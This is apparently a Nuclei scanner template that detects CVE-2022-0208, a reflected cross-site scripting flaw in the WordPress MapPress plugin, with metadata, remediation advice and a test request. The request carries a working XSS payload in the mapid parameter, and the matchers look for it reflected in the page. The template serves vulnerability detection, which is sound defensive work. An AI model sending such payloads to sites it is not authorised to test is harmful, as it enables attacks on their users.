CVE-2022-0208: WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting

id: CVE-2022-0208

info:
  name: WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    WordPress Plugin MapPress before version 2.73.4 does not sanitize and escape the 'mapid' parameter before outputting it back in the "Bad mapid" error message, leading to reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of MapPress (2.73.4 or higher) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/59a2abd0-4aee-47aa-ad3a-865f624fa0fc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0208
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0208
    cwe-id: CWE-79
    epss-score: 0.02038
    epss-percentile: 0.80134
    cpe: cpe:2.3:a:mappresspro:mappress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: mappresspro
    product: mappress
    framework: wordpress
  tags: cve2022,cve,mappress,xss,wordpress,wp-plugin,wpscan,mappresspro,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "<img src onerror=alert(document.domain)>"
          - "Bad mapid"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c3434e1942c761efab5560bb79ca207dd08f86d02648119d951d3017839d0dc302201cf5c43ded9b0701c8c8e56bf861904552ac585dc3ef6656f71ed0da729def19:922c64590222798bb761d5b6d8e72950

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